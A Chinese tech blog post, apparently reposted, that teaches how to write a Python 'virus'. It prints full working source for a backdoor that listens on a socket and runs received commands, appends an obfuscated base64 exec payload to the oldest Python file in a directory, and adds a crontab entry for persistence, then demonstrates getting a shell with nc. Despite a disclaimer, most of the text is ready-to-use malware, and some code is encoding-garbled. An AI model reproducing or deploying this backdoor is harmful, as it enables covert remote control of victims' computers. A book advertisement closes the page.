手寫一個 Python "病毒"
這是「進擊的Coder」的第 546?篇技術(shù)分享作者:somenzz來源:Python 七號
“
閱讀本文大概需要 8 分鐘。
今天的文章來展示一個 Python "病毒",它感染其他 Python 文件來創(chuàng)建一個后門。后門利用 Python 的內(nèi)置 socket 模塊來創(chuàng)建一個監(jiān)聽器,用來連接到 Python 的內(nèi)置子進程模塊,從而靶機上執(zhí)行命令,同時還通過創(chuàng)建一個 cronjob 來建立持久性,以在每天固定的時間運行后門。最終完整的 Python 腳本包含在本文末尾。
注意:請不要將本文中提供的 Python 腳本用于惡意目的。雖然它不先進,但經(jīng)過一些修改,它可以讓完全控制某人的計算機。本文的主要目的是通過這些腳本,更好地了解黑客如何獲取正常程序并使它們成為惡意程序。
話不多說,讓我們開始吧。
1. 建立通信
任何后門最重要的部分都是建立通信。現(xiàn)在,讓我們?yōu)楹箝T訪問編寫一段代碼。通過 TCP 連接到靶機,我們使用套接字模塊監(jiān)聽黑客的連接請求。在 socket 模塊中,有一個函數(shù)也稱為 socket,我們可以使用它來創(chuàng)建 TCP 或 UDP 套接字。使用 socket.socket 函數(shù)創(chuàng)建套接字時,我們需要提供兩個參數(shù)來指定我們要使用的 IP 版本和第 4 層協(xié)議。在這個 Python 腳本中,我們將傳入以下參數(shù):socket.AF_INET 和 socket.SOCK_STREAM。
AF_INET : 指定 IPv4
SOCK_STREAM :指定 TCP 而不是 UDP。
socket.socket 函數(shù)返回一個對象,該對象由最終確定正在創(chuàng)建的套接字是偵聽套接字(服務器)還是連接套接字(客戶端)的方法組成。要創(chuàng)建偵聽套接字,需要使用以下方法:
bind > 將 IP 地址和端口綁定到網(wǎng)絡接口
listen > 指示我們的套接字開始監(jiān)聽傳入的連接
accept > 接受傳入連接
recv > 從連接的客戶端接收數(shù)據(jù)
send > 向連接的客戶端發(fā)送數(shù)據(jù)
然而,最重要的方法是 recv 和 send。recv 方法會接收來自攻擊者的命令,使用 subproces.run 函數(shù)在受害者的系統(tǒng)上執(zhí)行它們,然后將執(zhí)行命令的標準輸出重定向到與攻擊者建立的 TCP 連接。下面是 Python 代碼:
from?socket?import?socket,?AF_INET,?SOCK_STREAM
from?subprocess?import?run,?PIPE
from?os?import?_exit
def?serve():
????with?socket(AF_INET,?SOCK_STREAM)?as?soc:
????????#?[*]?The?obfuscated?values?are?just?the?IP?address?and?port?to?bind?to
????????soc.bind((ip,?端口))
????????soc.listen(5)
????????while?True:
????????????conn,?_?=?soc.accept()
????????????while?True:
????????????????cmd?=?conn.recv(1024).decode("utf-8").strip()
????????????????cmd_output?=?run(cmd.split(),?stdout=PIPE,?stderr=PIPE)
????????????????if?cmd_output.returncode?==?0:
????????????????????conn.send(bytes(cmd_output.stdout))
????????????????else:
????????????????????continue
serve()
2. 感染目標 Python 文件
這段程序通過遍歷指定目錄(最好是用戶的主目錄)并查找修改時間最早的 Python 腳本。這里是測試,因此不是感染所有 Python 文件,而僅感染修改時間最早的文件。感染一個 Python 文件對于控制靶機來說已經(jīng)夠了。
def?MTRkYmNubWx(self):
????YWJyZmFm?=?"/"?if?self.bGpqZ2hjen?==?"Linux"?else?"\\"
????for?Z3Jvb3RhbGZq,?_,?_?in?walk(self.cHlkYWNhZWFpa):
????????for?f?in?glob(Z3Jvb3RhbGZq?+?YWJyZmFm?+?"*.py"):
????????????if?f?==?Z3Jvb3RhbGZq?+?YWJyZmFm?+?__file__:
????????????????continue
????????????eHhtbG1vZGF0?=?stat(f).st_mtime
????????????ZHRmbGNhbW9k?=?datetime.fromtimestamp(eHhtbG1vZGF0)
????????????if?not?self.Z2hhenh4ZGwK:
????????????????self.Z2hhenh4ZGwK?=?(f,?ZHRmbGNhbW9k)
????????????elif?ZHRmbGNhbW9k?1]:
????????????????self.Z2hhenh4ZGwK?=?(f,?ZHRmbGNhbW9k)
????self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
上述代碼的部分變量使用了混淆,讓人不易看懂,其實很簡單,就是使用 os 模塊中定義的 walk 和 stat 函數(shù)來遍歷目錄文件并獲取它們的修改時間。獲得的每個文件的修改時間被轉(zhuǎn)換為 datetime.datetime 對象,以便我們可以使用 > < 和 == 等運算符輕松比較日期。在這個函數(shù)的最后,選定的目標 Python 文件名被傳遞到將后門服務器代碼注入其中的函數(shù)。
3. 通過 crontab 任務來持久化
這個 Python 后門的最后一個函數(shù)使用 subprocess.run 函數(shù)來調(diào)用一個 Linux shell 命令,該命令將在當前用戶的 crontab 文件中創(chuàng)建一個條目。此條目指定計劃的 cronjob 應在每天 14:00 定時運行。添加 crontab 對應的 shell 命令如下:
echo?'00?14?*?*?*?file_name?|?crontab?-
4. 最終的完整代碼
#!/usr/bin/env?python3
from?os.path?import?expanduser
from?os?import?walk,?stat
from?sys?import?path
from?glob?import?glob
from?platform?import?system
from?base64?import?b64encode,?b64decode
from?subprocess?import?run,?PIPE
from?datetime?import?datetime
class?eHhjemR5eXB:
????def?__init__(self,?cHlkYWNhZWFpa):
????????self.cHlkYWNhZWFpa?=?cHlkYWNhZWFpa
????????self.bGpqZ2hjen?=?system()
????????self.aWFmYXRye?=?"0.0.0.0"
????????self.ZmFsa2p0aGM?=?0x401
????????self.Z2hhenh4ZGwK?=?None
????def?dGVyeXB6Y2FjeH(self,?dGR6eGFteXBxC):
????????YWxmanRob?=?b"from?socket?import?socket,?AF_INET,?SOCK_STREAM"
????????YWxmanRob?+=?b"\nfrom?subprocess?import?run,?PIPE"
????????YWxmanRob?+=?b"\ndef?serve():"
????????YWxmanRob?+=?b"\n\twith?socket(AF_INET,?SOCK_STREAM)?as?soc:"
????????YWxmanRob?+=?bytes(
????????????f'\n\t\tsoc.bind(("{self.aWFmYXRye}",?{self.ZmFsa2p0aGM}))',?"utf-8"
????????)
????????YWxmanRob?+=?b"\n\t\tsoc.listen(5)"
????????YWxmanRob?+=?b"\n\t\twhile?True:"
????????YWxmanRob?+=?b"\n\t\t\tconn,?_?=?soc.accept()"
????????YWxmanRob?+=?b"\n\t\t\twhile?True:"
????????YWxmanRob?+=?b'\n\t\t\t\tcmd?=?conn.recv(1024).decode("utf-8").strip()'
????????YWxmanRob?+=?(
????????????b"\n\t\t\t\tcmd_output?=?run(cmd.split(),?stdout=PIPE,?stderr=PIPE)"
????????)
????????YWxmanRob?+=?b"\n\t\t\t\tif?cmd_output.returncode?==?0:"
????????YWxmanRob?+=?b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
????????YWxmanRob?+=?b"\n\t\t\t\telse:?continue"
????????YWxmanRob?+=?b"\nserve()"
????????YWxmanRob_base64?=?b64encode(YWxmanRob)
????????cXBxZXJjYQ?=?"\n"?*?0x2?+?"from?subprocess?import?run\n"
????????cXBxZXJjYQ?+=?'run("""python3?-c?"from?binascii?import?a2b_base64;'
????????cXBxZXJjYQ?+=?'exec(a2b_base64(\'{}\'))"?&""",shell=True)'.format(
????????????YWxmanRob_base64.decode()
????????)
????????with?open(dGR6eGFteXBxC,?"a")?as?f:
????????????f.write(cXBxZXJjYQ)
????????self.ZmFsa2p0aGM?+=?1
????def?MTRkYmNubWx(self):
????????YWJyZmFm?=?"/"?if?self.bGpqZ2hjen?==?"Linux"?else?"\\"
????????for?Z3Jvb3RhbGZq,?_,?_?in?walk(self.cHlkYWNhZWFpa):
????????????for?f?in?glob(Z3Jvb3RhbGZq?+?YWJyZmFm?+?"*.py"):
????????????????if?f?==?Z3Jvb3RhbGZq?+?YWJyZmFm?+?__file__:
????????????????????continue
????????????????eHhtbG1vZGF0?=?stat(f).st_mtime
????????????????ZHRmbGNhbW9k?=?datetime.fromtimestamp(eHhtbG1vZGF0)
????????????????if?not?self.Z2hhenh4ZGwK:
????????????????????self.Z2hhenh4ZGwK?=?(f,?ZHRmbGNhbW9k)
????????????????elif?ZHRmbGNhbW9k?1]:
????????????????????self.Z2hhenh4ZGwK?=?(f,?ZHRmbGNhbW9k)
????????self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
????def?YWZhdGhjCg(self):
????????if?self.bGpqZ2hjen?==?"Linux":
????????????run(f"echo?'37?13?*?*?*?{self.Z2hhenh4ZGwK[0]}'?|?crontab?-",?shell=True)
if?__name__?==?"__main__":
????#?For?traversing?the?user's?home?directory
????#?aGdsZGFx?=?expanduser('~')
????#?YmNjLGFka2x?=?eHhjemR5eXB(aGdsZGFx)
????YmNjLGFka2x?=?eHhjemR5eXB("./test")
????YmNjLGFka2x.MTRkYmNubWx()
????YmNjLGFka2x.YWZhdGhjCg()
在靶機執(zhí)行該代碼后,會感染 ./test 目錄中最早修改的文件(目標文件),會自動在目標文件的最后添加這兩行代碼:
from?subprocess?import?run
run("""python3?-c?"from?binascii?import?a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG

是不是非常隱蔽?
5. 訪問后門
為了測試,我們手動執(zhí)行下感染的文件,而不是等待 crontab。
~?#?crontab?-l
37?13?*?*?*?/root/transferfile/transfile_interface.py
~?#?cd?transferfile/
~/transferfile?#?python?transfile_interface.py
~/transferfile?#?
程序正常結(jié)束,沒有任何異常。然后使用 nc localhost 1025 來反彈一個 shell,在這里執(zhí)行 ls, whoami 就是靶機的信息了:

這里演示的 localhost 即為靶機,真實場景下就是靶機的 ip 地址。現(xiàn)在靶機已經(jīng)完全被控制了,而受害者完全不知情。
6. 最后的話
現(xiàn)在,你已經(jīng)學習了如何使用 Python 編程語言創(chuàng)建持久性后門,學習了如何使用 Python 的 socket 模塊、如何遍歷目錄以及如何創(chuàng)建 crontab 任務。如果要感染真實靶機,還要學會如何分發(fā)這個后門程序,這里不做探討。
如果有收獲,還請點贊、在看、轉(zhuǎn)發(fā),感謝你的閱讀和支持。

End
崔慶才的新書《Python3網(wǎng)絡爬蟲開發(fā)實戰(zhàn)(第二版)》已經(jīng)正式上市了!書中詳細介紹了零基礎用 Python 開發(fā)爬蟲的各方面知識,同時相比第一版新增了 JavaScript 逆向、Android 逆向、異步爬蟲、深度學習、Kubernetes 相關(guān)內(nèi)容,?同時本書已經(jīng)獲得 Python 之父 Guido 的推薦,目前本書正在七折促銷中!
內(nèi)容介紹:《Python3網(wǎng)絡爬蟲開發(fā)實戰(zhàn)(第二版)》內(nèi)容介紹

掃碼購買
